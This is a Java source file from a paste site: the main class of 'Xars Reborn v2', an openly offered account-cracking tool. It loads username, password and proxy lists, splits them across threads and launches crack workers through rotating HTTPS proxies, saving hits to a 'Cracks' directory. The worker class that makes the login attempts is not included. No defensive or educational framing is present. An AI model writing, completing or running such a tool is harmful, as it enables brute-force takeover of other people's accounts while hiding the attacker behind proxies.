- /*
- * To change this template, choose Tools | Templates
- * and open the template in the editor.
- */
- package xarrebornv2;
- /**
- *
- * @author cohen
- */
- import java.io.BufferedReader;
- import java.io.File;
- import java.io.FileReader;
- import java.io.IOException;
- import java.util.ArrayList;
- import java.util.Scanner;
- public class Cracker {
- private final int threads;
- private final ArrayList<String> usernames;
- private final ArrayList<String> passwords;
- private final ArrayList<String> proxies;
- public Cracker()
- {
- File f = new File("Cracks");
- try
- {
- if (!f.exists())
- {
- if (f.mkdir())
- {
- }
- else
- {
- System.out.println("Cannot create directory Cracks");
- System.exit(1);
- }
- }
- }
- catch (Exception e)
- {
- e.printStackTrace();
- System.exit(1);
- }
- System.out.println("Xars Reborn v2 (Https Proxies)");
- System.out.println("========G4HQ SOFTWARE========");
- System.out.println("Enter number of threads to use");
- final Scanner scan = new Scanner(System.in);
- threads = scan.nextInt();
- System.out.println("Cracker started using: " + threads + " Threads");
- usernames = readFile("usernames.txt");
- passwords = readFile("passwords.txt");
- proxies = readFile("proxies.txt");
- if (proxies == null || passwords == null || usernames == null)
- {
- System.out.println("Error With reading files");
- System.exit(1);
- }
- calcThreads();
- }
- private void calcThreads()
- {
- ArrayList<String>[] tUser = new ArrayList[threads];
- ArrayList<String>[] tProxy = new ArrayList[threads];
- for (int i = 0; i < tUser.length; i++)
- {
- tUser[i] = new ArrayList<String>();
- tProxy[i] = new ArrayList<String>();
- }
- int nThreadUser = usernames.size() / threads;
- int nThreadProxy = proxies.size() / threads;
- for (int i = 0, k = 0, p = 0; i < threads; i++)
- {
- for (int l = 0; l < nThreadUser; l++)
- {
- if (i != threads - 1)
- {
- tUser[i].add(usernames.get(k));
- k++;
- }
- else
- {
- while (k <= usernames.size() - 1)
- {
- tUser[i].add(usernames.get(k));
- k++;
- }
- }
- }
- for (int l = 0; l < nThreadProxy; l++)
- {
- if (i != threads - 1)
- {
- tProxy[i].add(proxies.get(p));
- p++;
- }
- else
- {
- while (p <= proxies.size() - 1)
- {
- tProxy[i].add(proxies.get(p));
- p++;
- }
- }
- }
- new CrackThread(tUser[i], tProxy[i], passwords, i + 1);
- }
- }
- private ArrayList<String> readFile(String fileName)
- {
- if (fileName == null || fileName.equals(""))
- {
- throw new IllegalArgumentException();
- }
- String line;
- ArrayList<String> file = new ArrayList<String>();
- try
- {
- BufferedReader in = new BufferedReader(new FileReader(fileName));
- if (!in.ready())
- {
- throw new IOException();
- }
- while ((line = in.readLine()) != null)
- {
- file.add(line);
- }
- in.close();
- }
- catch (IOException e)
- {
- e.printStackTrace();
- return null;
- }
- return file;
- }
- public static void main(String args[])
- {
- new Cracker();
- }
- }
Untitled
From Old Xars Cracker v1, 5 Months ago, written in Plain Text, viewed 86 times.
URL https://paste.bugabuse.net/view/34e606ee
Embed
Download Paste or View Raw
— Expand Paste to full width of browser